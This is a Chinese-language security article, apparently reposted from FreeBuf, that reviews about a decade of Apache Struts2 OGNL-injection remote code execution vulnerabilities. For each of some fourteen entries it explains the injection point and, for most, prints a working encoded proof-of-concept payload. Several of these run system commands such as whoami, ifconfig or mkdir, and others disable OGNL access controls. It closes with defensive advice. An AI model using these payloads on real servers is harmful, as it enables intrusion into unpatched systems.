Struts2著名RCE漏洞引发的十年之思

转载自:千里目安全实验室,来自FreeBuf.COM。https://www.freebuf.com/vuls/168609.html

0×01 前言

从2007年7月23日发布的第一个Struts2漏洞S2-001到2017年12月发布的最新漏洞S2-055,跨度足足有十年,而漏洞的个数也升至55个。分析了Struts2的这55个漏洞发现,基本上是RCE、XSS、CSRF、DOS、目录遍历和其他功能缺陷漏洞等等。本篇文章,重点关注威胁性较大的那些著名RCE漏洞,也是黑客们比较喜欢利用的。

要说著名RCE(远程代码执行)漏洞,Struts2框架漏洞无外乎就那么十几个,一经爆发就被各安全厂商作为高危紧急漏洞处理,其余的一些漏洞,并没有得到很多的重视,基本上是危害不大或难以利用。在此,列出一些当年风靡一时过的漏洞:S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052。这里列出的只是个人觉得比较有名的Struts2框架漏洞,也许还不全,或者其中的漏洞并没有作者说的那么有名,仅作为参考,希望能给读者带来一些收获。

虽然上述漏洞那么多,但是其本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。那么,漏洞都是如何触发,或者说,如何注入OGNL表达式,造成RCE,下面用一个表来简要概括:

Struts2著名RCE漏洞引发的十年之思_第1张图片

上面表格可以说是简要总结了下请求可注入的地方,涵盖了HTTP请求的多个点,并且有些点爆发的漏洞不止一个。参数名注入有S2-003、S2-005,cookie名注入在官方S2-008漏洞介绍的第二个提到过;参数值注入就比较多了,包括S2-007、S2-009、S2-012等基本都是;filename注入是指S2-046漏洞,content-type注入是指S2-045漏洞;URL的action名称处注入是S2-015漏洞。先做个简要了解,下面会对各个漏洞的触发进行分别介绍,由于文章篇幅有限,不可能每个漏洞都展开分析,所以仅作个总结性的介绍。

0×02 著名RCE漏洞总结

1、S2-003/S2-005漏洞

这两个漏洞有着密不可分的联系,根据先后顺序,从S2-003入手。S2-003漏洞发生在请求参数名,Struts2框架会对每个请求参数名解析为OGNL语句执行,因此,恶意用户可通过在参数名处注入预先设定好的OGNL语句来达到远程代码执行的攻击效果;漏洞就出现在com.opensymphony.xwork2.interceptor.ParametersInterceptor这个拦截器中,如下图所示:

Struts2著名RCE漏洞引发的十年之思_第2张图片

S2-003的PoC:

(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&(g)(('%5C43req%[email protected]@getRequest()')(d))&(i2)(('%5C43xman%[email protected]@getResponse()')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))

S2-005的PoC:

('%5C43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&('%5C43c')(('%5C43_memberAccess.excludeProperties%[email protected]@EMPTY_SET')(c))&(g)(('%5C43req%[email protected]@getRequest()')(d))&(i2)(('%5C43xman%[email protected]@getResponse()')(d))&(i2)(('%5C43xman%[email protected]@getResponse()')(d))&(i95)(('%5C43xman.getWriter().print(%22S2-005        dir--***%22)')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))

上面两个PoC的功能都是Web路径探测并打印回显。两个漏洞都需要对#字符进行编码,绕过Struts2框架对#字符的过滤。观察两个PoC,可以发现,S2-005前面多了一段(‘%5C43_memberAccess.allowStaticMethodAccess’)(a)=true,打开安全配置(静态方法调用),其实官方对S2-003的修复就只是关闭静态方法调用,绕过这个修复很简单,所以就有了S2-005。

2、S2-007漏洞

用户输入将被当作OGNL表达式解析,当对用户输入进行验证出现类型转换错误时。如配置了验证规则-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。

漏洞PoC:

'%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%[email protected]@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%[email protected]@getResponse(),%23out.getWriter().println(%23echo))%2b'

PoC为何这样写,是因为需要后端用代码拼接”‘” + value + “‘”然后对其进行OGNL表达式解析。

3、S2-008漏洞

这个编号,官方发布了四个漏洞,其实,第1、3、4分别是S2-007、S2-009、S2-019漏洞。第2个说的是CookieInterceptor拦截器缺陷,利用道理和S2-005差不多,只不过是在cookie名称处注入,由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋,网上也并没有相关分析介绍。

4、S2-009漏洞

谈起这个漏洞,绝对要回顾下S2-003/S2-005漏洞,两者的共同点是同样是发生在ParametersInterceptor拦截器中的漏洞。只不过在S2-005漏洞中,OGNL表达式通过参数名处注入,造成远程命令执行,而S2-009漏洞的OGNL表达式通过参数值注入。看一段PoC:

foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

因此,S2-009漏洞可以绕过ParametersInterceptor拦截器对参数名的限制。至于,漏洞是如何触发执行的,可以简要介绍下。foo参数值必须是action的字符串变量,OGNL表达式被写入foo变量中,然后ParametersInterceptor拦截器在对第二参数名处理时,会取出foo值并作为OGNL表达式解析执行,造成远程代码执行漏洞。

5、S2-012漏洞

漏洞利用正如官方所说的,需要满足一定的条件。首先,得找到action中的字符串变量name,将OGNL表达式注入进去。随后,如下图,配置文件中得有重定向类型,并且重定向的链接中存在${name}取值操作,那么注入进的OGNL表达式就会执行。

PoC展示:

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #[email protected]@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

6、S2-013漏洞

这个漏洞,确实有点不好利用,需要在JSP页面中将s:url、s:a标签中的includeParams属性设定为get或all,一般很少有开发这么做,但是毕竟世界之大,无奇不有。如果存在相应的漏洞环境,直接将PoC贴在action请求或者JSP页面请求的后面。

PoC展示:

fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D

其中的变量名是任意的。利用时要确保action请求跳转到的JSP或者请求的JSP中存在将includeParams属性设定为get或all的s:url、s:a标签。

7、S2-015漏洞

这个漏洞,先参考下官方给的配置,如下:

再展示下PoC:

${%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()}.action

是一段弹计算器的PoC。上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。

8、S2-016漏洞

S2-016漏洞算是Struts2漏洞界的经典,当时也是风靡一时。首先,可以查一下”action:”, “redirect:” ,”redirectAction:”等前缀参数是干什么的,如果不知道也没关系,说一下漏洞是如何触发的。在请求action时,后面跟上前缀参数,前缀参数后面直接写上OGNL表达式,像下面PoC展示。

PoC展示:

redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D

上面的OGNL表达式会造成Web路径探测并打印回显。没错,就是这么简单,利用十分方便,所以当时受到了相当的重视。至于漏洞是如何触发,主要是发生在DefaultActionMapper中,这个可自行跟踪调试。

9、S2-019漏洞

这个漏洞在说S2-008的时候提到过,属于S2-008发布的第四个漏洞,也就是DebuggingInterceptor拦截器中的缺陷漏洞。这个漏洞要保证配置中的开发模式是打开的,

PoC展示:

debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22S2-019        dir--***%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()

上述PoC的写法,包括参数名都是固定写法,漏洞触发是在DebuggingInterceptor这个拦截器类中,所以在跟踪调试时候需要好好研究这个类,就会明白PoC的形式为何这么写。

10、S2-029漏洞

官方标注漏洞等级为Important,算是中危漏洞了。这个漏洞利用,可以说是非常难,漏洞的原理是二次OGNL表达式执行,在框架中是存在几处,比如i18n源码处、UIBean处等等。

PoC展示:

(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

11、S2-032/S2-033/S2-037漏洞

这三个漏洞都是抓住了DefaultActionInvocation中会把ActionProxy中的method属性取出来放入到ognlUtil.getValue(methodName + “()”, getStack().getContext(), action);方法中执行OGNL表达式。因此,想方设法将恶意构造的OGNL表达式注入到method中。S2-032是通过前缀参数“method:OGNL表达式”的形式;S2-033是通过“actionName!method”的方式,用OGNL表达式将method替换;S2-037是通过“actionName/id/methodName”的方式,用OGNL表达式将methodName替换。三种漏洞只是注入形式不一样,PoC完全可以复用,OGNL表达式执行的点也一样,上面已经说到。

PoC展示:

%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8

12、S2-045/S2-046漏洞

S2-045漏洞和S2-046漏洞非常相似,都是由报错信息包含OGNL表达式,并且被带入了buildErrorMessage这个方法运行,造成远程代码执行,两个漏洞的PoC可以复用。S2-045只有一种触发形式,就是将OGNL表达式注入到HTTP头的Content-Type中;S2-046则有两种利用形式,第一是Content-Length 的长度值超长,第二是Content-Disposition的filename存在空字节,但两种触发形式其OGNL表达式注入点都是Content-Disposition的filename中。

PoC展示:

%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}

13、S2-048漏洞

在看这个漏洞前,可以去看看官网的S2-027的介绍,意思就是,在框架中存在两个函数会解析执行OGNL表达式,TextParseUtil.translateVariables方法和ActionSupport’s getText方法。S2-048漏洞就是因为struts2-struts1-plugin插件中存在将OGNL表达式传入上述方法的情况,所以导致远程代码执行;至于以什么形式注入OGNL表达式,当然是以参数值的形式注入,以哪个参数来注入要根据后端代码在哪用struts2-struts1-plugin插件来追踪,一般可以用PoC去fuzz。网上有以struts2-showcase.war项目为例介绍漏洞分析,可用这个项目来跟踪漏洞原理。

PoC展示:

%25%7b%28%23nike%3d%27multipart%2fform-data%27%29.%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3f%28%23_memberAccess%3d%23dm%29%3a%28%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23o%[email protected]@getResponse%28%29.getWriter%28%29%29.%28%23req%[email protected]@getRequest%28%29%29.%28%23path%3d%23req.getRealPath%28%27%2f%27%29%29.%28%23o.println%28%23path%29%29.%28%23o.close%28%29%29%7d

14、S2-052漏洞

这个漏洞也算是轰动一时,其实,跟上面说的那些注入OGNL表达式,达到远程代码执行的方式还不大一样,S2-052漏洞是一种XML反序列化漏洞。漏洞本质是Struts2 REST插件的XStream组件存在反序列化漏洞,当使用XStream组件对XML格式的数据包进行反序列化操作时,没有对数据内容进行有效验证,存在反序列化后远程代码执行安全隐患。

0×03 展望

分析漏洞的最终目的是如何更好的防御,无论是网站开发人员还是专业的白帽子,都需要知道如何提前预防Struts2框架漏洞。在此,有一些展望和建议,希望对开发人员和白帽子有所作用。

网站开发人员。在接收客户端传过来的请求时,无论是HTTP请求头还是请求体的内容,都是不可信的,都需要进行有效地验证和过滤。回顾以往出现的Struts2漏洞,恶意OGNL表达式的注入点无处不在,但随着Struts2框架版本的迭代,很多漏洞也被修补,所以开发人员需要使用最新版本的框架,但是也不能完全相信框架的安全性,在基于框架的二次开发时,需要有自己的数据验证模块。从以往的请求注入点来看,开发人员需要对request中的请求参数名、参数值、cookie参数名、action的名称、Content-Type内容、filename的内容、请求体内容(反序列化漏洞),进行验证;如何验证,只需要根据以往PoC的特征去做相关的验证判断。

网络安全守护者——白帽子。专业的网络安全人员,对于漏洞的理解也许比开发人员更深刻,因此,抛砖引玉。对于Struts2漏洞的防御规则,抓住重要的点即可,就是恶意OGNL表达式的特征,针对需要远程执行的类和函数进行提取防御特征,此外,还需要结合恶意OGNL表达式注入点的特征,可避免规则误报,从而影响网站正常业务,如S2-045漏洞,就需要结合Content-Type这个特征。

攻防的较量从未停止,黑客与白帽子间的斗争也越演越烈。在Struts2框架漏洞这个战场上,需要持续深入地研究,才能占有主动权。

你可能感兴趣的:(Struts2著名RCE漏洞引发的十年之思)